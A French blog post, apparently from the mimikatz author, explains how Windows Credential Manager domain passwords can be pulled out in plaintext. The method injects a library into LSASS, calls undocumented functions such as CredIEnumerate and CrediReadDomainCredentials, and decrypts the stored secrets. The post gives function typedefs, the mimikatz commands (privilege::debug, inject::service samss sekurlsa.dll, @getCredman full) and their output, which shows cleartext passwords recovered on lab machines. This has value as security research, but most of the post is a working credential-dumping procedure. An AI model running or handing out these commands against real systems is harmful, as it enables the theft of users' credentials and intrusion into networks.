Comme vu lors de l’essai de récupération des mots de passe des tâches planifiées, le gestionnaire d’identification ne retourne pas très facilement de credentials en clair pour un type CRED_TYPE_DOMAIN_PASSWORD
…
Tests
Stockons quelques credentials de type CRED_TYPE_DOMAIN_PASSWORD
:
Via une tâche planifiée
Résultat :
mimikatz # system::user Utilisateur : WORKGROUP\VM-W7-ULT$ mimikatz # divers::secrets full Nombre de secrets : 1 TargetName : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : vm-w7-ult\Gentille Tâche Credential : <NULL>
Via un utilisateur et un partage réseau
Résultat :
mimikatz # system::user Utilisateur : vm-w7-ult\Gentil Utilisateur mimikatz # divers::secrets full Nombre de secrets : 1 TargetName : Domain:target=serveur / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : utilisateur Credential : <NULL>
Via un utilisateur, un terminal server et un partage réseau
Résultat :
mimikatz # system::user Utilisateur : vm-w7-ult\Gentil Kiwi mimikatz # divers::secrets Nombre de secrets : 2 TargetName : TERMSRV/windows-f.vm.nirvana.local / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : test@nirvana.local Credential : <NULL> TargetName : windows-b.vm.nirvana.local / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : testshare@nirvana.local Credential : <NULL>
Explications
Les credentials exposés ici n’ont pas à être manipulés dans les applications utilisateurs, mais par le gestionnaire d’authentification de Windows (LSASS
), il n’y a donc pas de raison qu’ils soient accessibles dans l’espace utilisateurs.
Pour rappel :
If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.
Plus clairement : fini de jouer avec CredEnumerate
en mode utilisateur, il faut passer via un contexte SYSTEM
dans LSASS
Implémentation
Exit CredEnumerate
qui se limite à l’utilisateur courant, pour gagner du temps utilisons CredIEnumerate
(non exportée, non documentée) qui permet de lister les secrets d’une session particulière :)
typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
Une fois les secrets identifiés, ne retenons que ceux concernés par le déchiffrement dans LSASS
(CRED_TYPE_DOMAIN_PASSWORD
dans notre cas), et demandons poliment à LSA_SECPKG_FUNCTION_TABLE->CrediReadDomainCredentials
depuis le processus LSASS
les credentials désirés…
Puisque l’on est dans LSASS
, et que Microsoft annonce que les données ne sont lisibles que par les packages d’authentification, pourquoi ne pas rajouter un petit coup de LSA_SECPKG_FUNCTION_TABLE->LsaUnprotectMemory
?
Resultat
Bien sûr, en tant qu’Administrateur, ou SYSTEM (dans ce cas, pas besoin du privilège debug)…
mimikatz 1.0 x86 (RC) /* Traitement du Kiwi (Jan 6 2013 17:43:18) */ // http://blog.gentilkiwi.com/mimikatz mimikatz # privilege::debug Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK mimikatz # inject::service samss sekurlsa.dll SERVICE(samss).serviceDisplayName = Gestionnaire de comptes de sécurité SERVICE(samss).ServiceStatusProcess.dwProcessId = 512 Attente de connexion du client... Serveur connecté à un client ! Message du processus : Bienvenue dans un processus distant Gentil Kiwi SekurLSA : librairie de manipulation des données de sécurité dans LSASS mimikatz # @getCredman full Authentification Id : 0;999 Package d'authentification : NTLM Utilisateur principal : VM-W7-ULT$ Domaine d'authentification : WORKGROUP credman : * [0] Target : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL> * [0] Comment : <NULL> * [0] User : vm-w7-ult\Gentille Tâche [0] User : vm-w7-ult\Gentille Tâche [0] Cred : wazawaza12341234// Authentification Id : 0;6420317 Package d'authentification : NTLM Utilisateur principal : Gentil Utilisateur Domaine d'authentification : vm-w7-ult credman : * [0] Target : Domain:target=serveur / <NULL> * [0] Comment : <NULL> * [0] User : utilisateur [0] User : utilisateur [0] Cred : mdpuser Authentification Id : 0;447522 Package d'authentification : NTLM Utilisateur principal : Gentil Kiwi Domaine d'authentification : vm-w7-ult credman : * [0] Target : Domain:target=TERMSRV/windows-f.vm.nirvana.local / <NULL> * [0] Comment : <NULL> * [0] User : test@nirvana.local [0] User : test@nirvana.local [0] Cred : mdptest * [1] Target : Domain:target=windows-b.vm.nirvana.local / <NULL> * [1] Comment : <NULL> * [1] User : testshare@nirvana.local [0] User : testshare@nirvana.local [0] Cred : mdpshare mimikatz # exit
La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz